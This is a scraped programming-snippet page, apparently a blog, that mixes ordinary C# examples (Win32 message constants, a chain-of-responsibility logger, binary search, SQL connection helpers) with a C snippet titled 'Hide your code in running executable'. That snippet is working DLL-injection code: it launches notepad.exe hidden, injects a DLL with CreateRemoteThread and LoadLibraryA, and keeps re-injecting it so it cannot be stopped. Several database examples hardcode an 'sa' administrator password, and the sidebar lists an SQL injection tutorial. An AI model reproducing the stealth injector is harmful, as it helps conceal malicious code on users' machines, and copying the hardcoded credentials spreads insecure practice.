            WM_SIZECLIPBOARD = 0x30B, 
            WM_SIZING = 0x214, 
            WM_SPOOLERSTATUS = 0x2A, 
            WM_STYLECHANGED = 0x7D, 
            WM_STYLECHANGING = 0x7C, 
            WM_SYNCPAINT = 0x88, 
            WM_SYSCHAR = 0x106, 
            WM_SYSCOLORCHANGE = 0x15, 
            WM_SYSCOMMAND = 0x112, 
            WM_SYSDEADCHAR = 0x107, 
            WM_SYSKEYDOWN = 0x104, 
            WM_SYSKEYUP = 0x105, 
            WM_TCARD = 0x52, 
            WM_TIMECHANGE = 0x1E, 
            WM_TIMER = 0x113, 
            WM_UNDO = 0x304, 
            WM_UNINITMENUPOPUP = 0x125, 
            WM_UPDATEUISTATE = 0x128, 
            WM_USERCHANGED = 0x54, 
            WM_VKEYTOITEM = 0x2E, 
            WM_VSCROLL = 0x115, 
            WM_VSCROLLCLIPBOARD = 0x30A, 
            WM_WINDOWPOSCHANGED = 0x47, 
            WM_WINDOWPOSCHANGING = 0x46, 
            WM_WININICHANGE = 0x1A, 
            WM_WNT_CONVERTREQUESTEX = 0x109, 
            WM_XBUTTONDBLCLK = 0x20D, 
            WM_XBUTTONDOWN = 0x20B, 
            WM_XBUTTONUP = 0x20C 
        } 

        public static int WIN32_SendMessage( int handle, WM ww,int WParam, int LParam) 
        { 
            int wm = (int)ww; 
            int ret = SendMessage(handle, wm,WParam, LParam); 
            return ret; 
        } 
    } 
}

	using System;
	using System.IO;

	namespace killercodes.designPatterns.ChainOfResponsibility
	{
	[Flags]
	public enum LogLevel
	{
	None = 0, // 0
	Info = 1, // 1
	Debug = 2, // 10
	Warning = 4, // 100
	Error = 8, // 1000
	FunctionalMessage = 16, // 10000
	FunctionalError = 32, // 100000
	All = 63 // 111111
	}

	/// <summary>
	/// Abstract Handler in chain of responsibility pattern.
	/// </summary>
	public abstract class Logger
	{
	protected LogLevel logMask;

	// The next Handler in the chain
	protected Logger next;

	public Logger(LogLevel mask)
	{
	this.logMask = mask;
	}

	/// <summary>
	/// Sets the Next logger to make a list/chain of Handlers.
	/// </summary>
	public Logger SetNext(Logger nextlogger)
	{
	next = nextlogger;
	return nextlogger;
	}

	public void Message(string msg, LogLevel severity)
	{
	if ((severity & logMask) != 0) //True only if all logMask bits are set in severity
	{
	WriteMessage(msg);
	}
	if (next != null)
	{
	next.Message(msg, severity);
	}
	}

	abstract protected void WriteMessage(string msg);
	}

	public class ConsoleLogger : Logger
	{
	public ConsoleLogger(LogLevel mask)
	: base(mask)
	{ }

	protected override void WriteMessage(string msg)
	{
	Console.WriteLine("Writing to console: " + msg);
	}
	}

	public class EmailLogger : Logger
	{
	public EmailLogger(LogLevel mask)
	: base(mask)
	{ }

	protected override void WriteMessage(string msg)
	{
	// Placeholder for mail send logic, usually the email configurations are saved in config file.
	Console.WriteLine("Sending via email: " + msg);
	}
	}

	class FileLogger : Logger
	{
	public FileLogger(LogLevel mask)
	: base(mask)
	{ }

	protected override void WriteMessage(string msg)
	{
	// Placeholder for File writing logic
	Console.WriteLine("Writing to Log File: " + msg);
	}
	}

	public class Program
	{
	public static void Main(string[] args)
	{
	// Build the chain of responsibility
	Logger logger, logger1, logger2;
	logger = new ConsoleLogger(LogLevel.All);
	logger1 = logger.SetNext(new EmailLogger(LogLevel.FunctionalMessage \| LogLevel.FunctionalError));
	logger2 = logger1.SetNext(new FileLogger(LogLevel.Warning \| LogLevel.Error));

	// Handled by ConsoleLogger since the console has a loglevel of all
	logger.Message("Entering function ProcessOrder().", LogLevel.Debug);
	logger.Message("Order record retrieved.", LogLevel.Info);

	// Handled by ConsoleLogger and FileLogger since filelogger implements Warning & Error
	logger.Message("Customer Address details missing in Branch DataBase.", LogLevel.Warning);
	logger.Message("Customer Address details missing in Organization DataBase.", LogLevel.Error);

	// Handled by ConsoleLogger and EmailLogger as it implements functional error
	logger.Message("Unable to Process Order ORD1 Dated D1 For Customer C1.", LogLevel.FunctionalError);

	// Handled by ConsoleLogger and EmailLogger
	logger.Message("Order Dispatched.", LogLevel.FunctionalMessage);
	}
	}
	}

	/* Output
	Writing to console: Entering function ProcessOrder().
	Writing to console: Order record retrieved.
	Writing to console: Customer Address details missing in Branch DataBase.
	Writing to Log File: Customer Address details missing in Branch DataBase.
	Writing to console: Customer Address details missing in Organization DataBase.
	Writing to Log File: Customer Address details missing in Organization DataBase.
	Writing to console: Unable to Process Order ORD1 Dated D1 For Customer C1.
	Sending via email: Unable to Process Order ORD1 Dated D1 For Customer C1.
	Writing to console: Order Dispatched.
	Sending via email: Order Dispatched.
	*/

	//Hide your code in running executable
	#include "stdafx.h"
	#include <windows.h>
	#include <Tlhelp32.h>

	const char exeMutex[] = "ExeMutex";
	const char dllMutex[] = "DllMutex";
	const char procesToInject[] = "notepad.exe";
	const char dllPatch[] = "C:\\Dll.dll";

	void makeMeImmortal()
	{
	DWORD WINAPI monitorDllProcess(void* nothing);
	HANDLE mutex = CreateMutex(NULL, 0, exeMutex);
	DWORD ID;
	HANDLE hilo = CreateThread(0,0,monitorDllProcess,0,0, &ID);
	}


	DWORD WINAPI monitorDllProcess(void* nothing)
	{
	void injectDll(const char *processName);
	int getPid(const char *processName);
	HANDLE proc;
	HANDLE mutex;

	for(;;)
	{
	mutex = OpenMutex(SYNCHRONIZE, false, dllMutex);

	if (mutex == NULL)
	{
	WinExec (procesToInject, SW_HIDE);
	injectDll(procesToInject);
	}
	else
	{
	int pid = getPid(procesToInject);

	if (pid != 0)
	{
	proc = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
	WaitForSingleObject(proc, INFINITE); CloseHandle(proc);
	}
	}

	CloseHandle (mutex);
	}
	}

	void injectDll(const char *processName)
	{
	int getPid(const char *processName);
	int pid = getPid(processName);
	HANDLE proceso;
	LPVOID RemoteString;
	LPVOID nLoadLibrary;
	proceso = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
	nLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA");
	RemoteString = (LPVOID)VirtualAllocEx(proceso,NULL,strlen(dllPatch),MEM_COMMIT\|MEM_RESERVE,PAGE_READWRITE);
	WriteProcessMemory(proceso,(LPVOID)RemoteString,(void*)dllPatch,strlen(dllPatch),NULL);
	CreateRemoteThread(proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
	CloseHandle(proceso);
	}

	int getPid(const char *processName)
	{
	int pid;
	HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
	PROCESSENTRY32 procinfo = { sizeof(PROCESSENTRY32) };

	while(Process32Next(handle, &procinfo))
	{
	if(!strcmp(procinfo.szExeFile, processName))
	{
	CloseHandle(handle);
	pid = procinfo.th32ProcessID;
	}
	}

	CloseHandle(handle);
	return pid;
	}

	int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
	{
	void makeMeImmortal();
	makeMeImmortal();

	//Rest of YOUR code here.
	}

	using System;

	class ArrayBinarySearch
	{
	public static void Main()
	{
	int[] ints = {0, 10, 100, 1000, 1000000 };
	Console.WriteLine ("Array indices and elements: ");
	for (int i = 0; i < ints.Length; i++ )
	{
	Console.Write("[{0}]={1, -5}", i, ints[i]);
	}
	Console.WriteLine();
	FindObject (ints, 25);
	FindObject (ints, 1000);
	FindObject (ints, 2000000);
	}

	public static void FindObject (Array array, Object o)
	{
	int index = Array.BinarySearch (array, 0, array.Length, o);
	Console.WriteLine();
	if (index > 0 )
	{
	Console.WriteLine ("Object: {0} found at [{1}]", o, index );
	}
	else if (~index == array.Length )
	{
	Console.WriteLine ("Object: {0} not found. "
	+ "No array object has a greater value." , o);
	Console.WriteLine ();
	}
	else
	{
	Console.WriteLine ("Object: {0} not found. "
	+ "Next larger object found at [{1}].", o, ~index);
	}
	}
	}

	//Connection String class
	using System;
	using System.Collections.Generic;
	using System.Linq;
	using System.Text;
	using System.Data;
	using System.Data.SqlClient;
	using System.Data.OleDb;
	using System.Data.Odbc;


	namespace killercodes_in.dbConnect
	{
	public static class EConnection
	{
	/// <summary>
	/// Checks the connection and returns true if connection is sucessful
	/// </summary>
	/// <param name="sqlc">Sql Connection Object</param>
	/// <param name="ShowMsgOnError">Set True to show message on error</param>
	/// <returns>True if OK</returns>
	public static bool Error(this SqlConnection sqlc, bool ErrorReport)
	{
	try
	{
	sqlc.Open();
	sqlc.Close();
	return true;
	}
	catch (Exception se)
	{
	if (ErrorReport)
	{
	System.Windows.Forms.MessageBox.Show(
	se.Message,
	"Error @ " + se.Source,
	System.Windows.Forms.MessageBoxButtons.OK,
	System.Windows.Forms.MessageBoxIcon.Stop);
	}
	return false;
	}
	}
	/// <summary>
	/// Checks the connection and returns true if connection is sucessful
	/// </summary>
	/// <param name="olec">Oledb Connection Object</param>
	/// <param name="ShowMsgOnError">Set true to show message on error</param>
	/// <returns>True is OK</returns>
	public static bool Error(this OleDbConnection olec, bool ErrorReport)
	{
	try
	{
	olec.Open();
	olec.Close();
	return true;
	}
	catch (Exception se)
	{
	if (ErrorReport)
	{
	System.Windows.Forms.MessageBox.Show(
	se.Message,
	"Error @ " + se.Source,
	System.Windows.Forms.MessageBoxButtons.OK,
	System.Windows.Forms.MessageBoxIcon.Stop);
	}
	return false;
	}
	}

	/// <summary>
	/// Checks the connection and returns true if connection is sucessful
	/// </summary>
	/// <param name="odbcc">Odbc Connection object</param>
	/// <param name="ShowMsgOnError">True to show msg on error false for not</param>
	/// <returns>True if OK</returns>
	public static bool Error(this OdbcConnection odbcc, bool ErrorReport)
	{
	try
	{
	odbcc.Open();
	odbcc.Close();
	return true;
	}
	catch (Exception se)
	{
	if (ErrorReport)
	{
	System.Windows.Forms.MessageBox.Show(
	se.Message,
	"Error @ " + se.Source,
	System.Windows.Forms.MessageBoxButtons.OK,
	System.Windows.Forms.MessageBoxIcon.Stop);
	}
	return false;
	}
	}

	//=========================================

	/// <summary>
	/// Creates a Trusted connection string with SqlConnection
	/// </summary>
	/// <param name="sqc">Sql connection Object</param>
	/// <param name="Data_Source">IP Address or Named Pipe</param>
	/// <param name="Init_Catalog">Database Name</param>
	public static void CS_SqlTrusted(this SqlConnection sqc, string Data_Source, string Init_Catalog)
	{
	sqc.ConnectionString = "Data Source=" + Data_Source +
	";Initial Catalog=" + Init_Catalog +
	";Integrated Security=SSPI;";
	}

	/// <summary>
	/// Creates a Trusted connection string with SqlConnection
	/// </summary>
	/// <param name="sqc">Sql connection Object</param>
	/// <param name="Server">IP Address</param>
	/// <param name="Database">Database Name</param>
	/// <param name="Trusted_Connection">True to create trusted</param>
	public static void CS_SqlTrusted(this SqlConnection sqc, string Server, string Database, bool Trusted_Connection)
	{
	sqc.ConnectionString = "Server=" + Server +
	";Database=" + Database +
	";Trusted_Connection=" + Trusted_Connection + ";";
	}

	/// <summary>
	/// Creates a connection string with Standard Security
	/// </summary>
	/// <param name="sqc">Sql Connection Object</param>
	/// <param name="Data_Source">Database Name</param>
	/// <param name="Init_Catalog">Table Name</param>
	/// <param name="User_Id">User Name</param>
	/// <param name="Password">Password</param>
	public static void CS_SqlStandard(this SqlConnection sqc, string Data_Source, string Init_Catalog, string User_Id, string Password)
	{
	sqc.ConnectionString = "Data Source=" + Data_Source +
	";Initial Catalog=" + Init_Catalog +
	";User Id=" + User_Id +
	";Password=" + Password + ";";
	}

	public static void CS_SqlStandard(this SqlConnection sqc, string Server, string Database, string User_ID, string Password, bool Trusted_Connection)
	{
	sqc.ConnectionString = "Server=" + Server +
	";Database=" + Database +
	";User Id=" + User_ID +
	";Password=" + Password +
	";Trusted_Connection=" + Trusted_Connection + ";";
	}

	public static void CS_OleStandard(this OleDbConnection ocs, string Your_Server_Name, string Your_Database_Name, string Your_Username, string Your_Password)
	{
	ocs.ConnectionString = "Provider=SQLOLEDB;Data Source=" + Your_Server_Name +
	";Initial Catalog=" + Your_Database_Name +
	";UserId=" + Your_Username +
	";Password=" + Your_Password + ";";
	}

	public static void CS_OleTrusted(this OleDbConnection ocs, string Your_Server_Name, string Your_Database_Name)
	{
	ocs.ConnectionString = "Provider=SQLOLEDB;Data Source=" + Your_Server_Name +
	";Initial Catalog=" + Your_Database_Name + ";Integrated Security=SSPI;";
	}
	}
	}

	using System;
	using System.Collections.Generic;
	using System.ComponentModel;
	using System.Data;
	using System.Data.SqlClient;
	using System.Data.Sql;
	using System.Linq;
	using System.Text;
	using System.Windows.Forms;

	namespace killercodes_in.StrFromDb
	{
	public partial class Form1 : Form
	{
	private string _1_Con_Str = "Data Source=(local);Initial Catalog=napstrdb;User Id=sa;Password=iamadmin";
	public Form1()
	{
	InitializeComponent();
	}

	private bool test_Connection()
	{
	try
	{
	SqlConnection _sqc = new SqlConnection(_1_Con_Str);
	_sqc.Open();
	_sqc.Close();
	return true;
	}
	catch (Exception _Esq)
	{
	label1.Text = _Esq.Message;
	return false;
	}
	}
	private void button1_Click(object sender, EventArgs e)
	{
	object g;
	//g.GetType();
	if (test_Connection())
	{
	NewMethod(label1);
	}
	}

	private void NewMethod(Label l)
	{

	SqlCommand _scmd = new SqlCommand();
	_scmd.Connection = new SqlConnection(_1_Con_Str);
	_scmd.Connection.Open();
	_scmd.CommandText = "Select * from string where msg='label'";
	SqlDataReader _sdr = _scmd.ExecuteReader();
	while (_sdr.Read())
	{
	l.Text = _sdr.GetValue(_sdr.GetOrdinal("info")).ToString();
	}
	_sdr.Close();
	_scmd.Connection.Close();
	}

	private void Form1_Load(object sender, EventArgs e)
	{

	}
	}
	}

	//Stored procedure example
	using System;
	using System.Collections.Generic;
	using System.ComponentModel;
	using System.Data;
	using System.Drawing;
	using System.Linq;
	using System.Text;
	using System.Windows.Forms;
	using System.Data.Sql;
	using System.Data.SqlClient;

	namespace killercodes_in.StoredProcedure
	{
	public partial class Form1 : Form
	{
	public string _connStr_ = "Data Source=127.0.0.1,1433;Initial Catalog=avyukta;User Id=sa;Password=iamadmin;";
	SqlCommand cmd;
	SqlConnection conn;

	public Form1()
	{
	InitializeComponent();
	}

	private void button1_Click(object sender, EventArgs e)
	{
	SqlDataAdapter sda;
	SqlCommand cmd = new SqlCommand();
	SqlParameter param;
	DataSet ds = new DataSet();
	int i = 0;

	conn = new SqlConnection(_connStr_);
	conn.Open();
	cmd.Connection = conn;
	cmd.CommandType = CommandType.StoredProcedure;
	cmd.CommandText = "Grade";
	sda = new SqlDataAdapter(cmd);
	sda.Fill(ds);

	for (i = 0; i <= ds.Tables[0].Rows.Count - 1; i++)
	{
	MessageBox.Show(ds.Tables[0].Rows[i][0].ToString());
	}
	conn.Close();
	}
	}
	}

	namespace killercodes_in.DataAdapter
	{
	public partial class Form1 : Form
	{
	public string _connStr_ = "Data Source=127.0.0.1,1433;Initial Catalog=avyukta;User Id=sa;Password=iamadmin;";
	SqlCommand cmd;
	SqlConnection conn;

	public Form1()
	{
	InitializeComponent();
	}

	private void button1_Click(object sender, EventArgs e)
	{
	conn = new SqlConnection(_connStr_);
	//cmd = new SqlCommand();
	SqlDataAdapter adap = new SqlDataAdapter();
	DataSet ds = new DataSet();
	int i = 0;

	try
	{
	conn.Open();
	cmd = new SqlCommand("select * from grademstr", conn);
	adap.SelectCommand = cmd;
	adap.Fill(ds);
	for (i = 0; i <= ds.Tables[0].Rows.Count - 1; i++)
	{
	MessageBox.Show(ds.Tables[0].Rows[i].ItemArray[0] + "-" +
	ds.Tables[0].Rows[i].ItemArray[1] + "-" + ds.Tables[0].Rows[i].ItemArray[2] + "-" + ds.Tables[0].Rows[i].ItemArray[3]);
	}
	adap.Dispose();
	cmd.Dispose();
	conn.Close();
	}
	catch (Exception ex)
	{
	MessageBox.Show(ex.Message);
	}
	}
	}
	}

	//Sql Data Adapter
	using System;
	using System.Collections.Generic;
	using System.ComponentModel;
	using System.Data;
	using System.Drawing;
	using System.Linq;
	using System.Text;
	using System.Windows.Forms;
	using System.Data.Sql;
	using System.Data.SqlClient;

	namespace killercodes_in.SqlDataAdapter_
	{
	public partial class Form1 : Form
	{
	private string _cString1 = "Data Source=(local);Initial Catalog=avyukta;User Id=sa;Password=iamadmin;";
	//SqlCommand cmd;
	SqlConnection con;
	SqlDataAdapter adp;
	DataSet ds;
	SqlCommandBuilder cb;

	public Form1()
	{
	InitializeComponent();
	con = new SqlConnection(_cString1);
	}

	private void button1_Click(object sender, EventArgs e)
	{

	//DataGrid dg;
	try
	{
	con.Open();
	con.Close();
	}
	catch (Exception)
	{

	}

	ds = new DataSet();
	adp = new SqlDataAdapter("select * from grademstr", con);
	cb = new SqlCommandBuilder(adp);
	adp.Fill(ds, "grademstr");

	dataGridView1.DataSource = ds;
	dataGridView1.DataMember = "grademstr";
	}

	private void button2_Click(object sender, EventArgs e)
	{
	cb.GetUpdateCommand();
	adp.Update(ds, "grademstr");
	}

	}
	}

Search

SQL Injection Tutorial (OldSchool)

What is SQL Injection?

Which part of your application is in threat for SQL Injection?

Basic SQL Injection, power of 'T'='T'

What are the SQL command you can pass

SQL Injection by example

What do you need for SQL Injection?

Where to Start SQL Injection?

1. What if you can't find any page that takes input?

2. How do you test if it is vulnerable for SQL Injection?

3. But why ' or 1=1-- is important in SQL Injection?

4. How do I get remote execution with SQL injection?

5 How to get output of my SQL query by SQL Injection?

6 How to get data from the database using ODBC error message by SQL Injection?

7. How to mine all column names of a table by SQL Injection?

8. How to retrieve any data we want?

9. How to get numeric string value?

10. How to update/insert data into the database by SQL Injection?

What is a design pattern?

How did design patterns originate?

How are design patterns classified?

Behavioral design patterns

Creational design patterns

Structural design patterns

HTTP Post with C-Sharp

SendMessage function

Parameters

hWnd

Msg

wParam

lParam

Translate

Tag Cloud

Menu

Archive

Popular